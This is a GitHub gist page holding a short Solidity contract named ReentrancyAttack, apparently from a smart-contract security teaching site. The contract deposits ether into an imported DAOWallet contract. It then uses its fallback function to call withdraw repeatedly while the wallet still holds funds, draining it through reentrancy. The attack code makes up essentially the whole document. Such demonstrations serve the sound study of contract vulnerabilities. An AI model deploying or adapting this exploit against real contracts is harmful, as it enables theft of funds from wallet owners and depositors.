Created
September 14, 2020 21:18
-
-
Save hackingbeauty/50f3e086dba98522cd57f8c8d34e3c43 to your computer and use it in GitHub Desktop.
ReentrancyAttack.sol (www.SmartContractSecurity.com)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.6.10; | |
import './DAOWallet.sol'; | |
contract ReentrancyAttack { | |
DAOWallet public daoWallet; | |
constructor(address _daoWalletAddress) public { | |
daoWallet = DAOWallet(_daoWalletAddress); | |
} | |
function attack() external payable { | |
require(msg.value >= 1 ether); | |
daoWallet.deposit{value: msg.value}(); | |
daoWallet.withdraw(1 ether); | |
} | |
fallback() external payable { | |
if(address(daoWallet).balance >= 1 ether) { | |
daoWallet.withdraw(1 ether); | |
} | |
} | |
function getContractBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment